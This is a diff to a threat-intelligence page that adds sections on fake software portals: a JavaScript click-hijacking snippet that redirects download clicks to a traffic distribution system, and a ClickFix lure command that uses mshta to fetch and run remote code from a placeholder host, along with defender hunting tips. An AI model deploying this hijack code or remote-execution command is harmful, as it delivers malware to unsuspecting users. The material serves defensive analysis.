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Expand Up @@ -526,6 +526,43 @@ Commodity crews offset the cost of high-touch ops with mass attacks that turn **
```
* Hunt for LOLBins frequently abused by first-stage loaders (e.g. `regsvr32`, `curl`, `mshta`).

### Download-button click hijacking with TDS handoff
Some fake software portals keep the visible download `href` pointing to the **real** GitHub/release URL but hijack the **first** user interaction in JavaScript and send the victim into a **Traffic Distribution System (TDS)** chain instead.

```javascript
const cachedOpen = window.open;
document.addEventListener(isChromeDesktop() ? "mousedown" : "click", (e) => {
if (!isEligibleClick(e.target)) return;
cachedOpen(generateRuntimeURL({referrer: location.href, userDestination: extractClickedLink(e.target)}));
e.stopImmediatePropagation();
e.preventDefault();
}, true);
```

Key traits:
- The hook usually runs in the **capture phase** (`true`) on `document`, so it fires before site handlers.
- Chrome often uses `mousedown` instead of `click` to keep the redirect tied to a valid **user gesture** and improve popup-blocker bypass.
- Some variants pre-open `about:blank` or synthesize `<a target="_blank">` clicks and only later assign the TDS URL.
- Browser-side caps commonly live in `localStorage`, so the **first click** may reach malware while refreshes/retries fall back to the benign-looking visible link.
- The TDS can gate by referrer, entry domain, GEO, browser/device fingerprint, VPN/datacenter checks, click context, and per-session counters, making analyst replays non-deterministic.

Defender ideas:
- Compare the **displayed** `href` with the **actual** navigation target generated at click time.
- Hunt for `document.addEventListener(..., true)` handlers that call both `preventDefault()` and `stopImmediatePropagation()` around `window.open`, `about:blank`, or synthetic anchor clicks.
- Treat clusters of newly registered software-download domains that all load the same CloudFront/JS stage as a high-signal SEO-poisoning/TDS pattern.

### ClickFix from fake verification pages + archive-looking LOLBAS fetches
Some TDS branches end in a fake verification page (Cloudflare/IUAM style) that tells the victim to run a trusted Windows binary such as:

```cmd
C:\Windows\SysWOW64\mshta.exe https://example[.]com/navy.7z
```

Notes:
- `mshta.exe` executes the **HTA/VBScript at the start of the response**, even if the URL pretends to be a `.7z` archive; appended archive data can be pure decoy.
- Follow-on stages often keep lying about file type (`.rtf` for PowerShell, `.asar` for Python, ZIPs with padded binaries) and then switch to **manual PE mapping / in-memory execution**.
- If you are responding to one of these chains, preserve **network + memory from the first successful run**: later replays may only show a benign installer/SFX path or fail because the payload/key release was bound to the original TDS session.

### ClickFix DLL delivery tradecraft (fake CERT update)
* Lure: cloned national CERT advisory with an **Update** button that displays step-by-step “fix” instructions. Victims are told to run a batch that downloads a DLL and executes it via `rundll32`.
* Typical batch chain observed:
Expand Down Expand Up @@ -673,5 +710,6 @@ Defence tips:
- [The Next Frontier of Runtime Assembly Attacks: Leveraging LLMs to Generate Phishing JavaScript in Real Time](https://unit42.paloaltonetworks.com/real-time-malicious-javascript-through-llms/)
- [Love? Actually: Fake dating app used as lure in targeted spyware campaign in Pakistan](https://www.welivesecurity.com/en/eset-research/love-actually-fake-dating-app-used-lure-targeted-spyware-campaign-pakistan/)
- [ESET GhostChat IoCs and samples](https://github.com/eset/malware-ioc/tree/master/ghostchat)
- [Impersonation, Click Hijacking, and TDS: Inside a Malware Distribution Ecosystem](https://research.checkpoint.com/2026/impersonation-click-hijacking-and-tds-inside-a-malware-distribution-ecosystem/)

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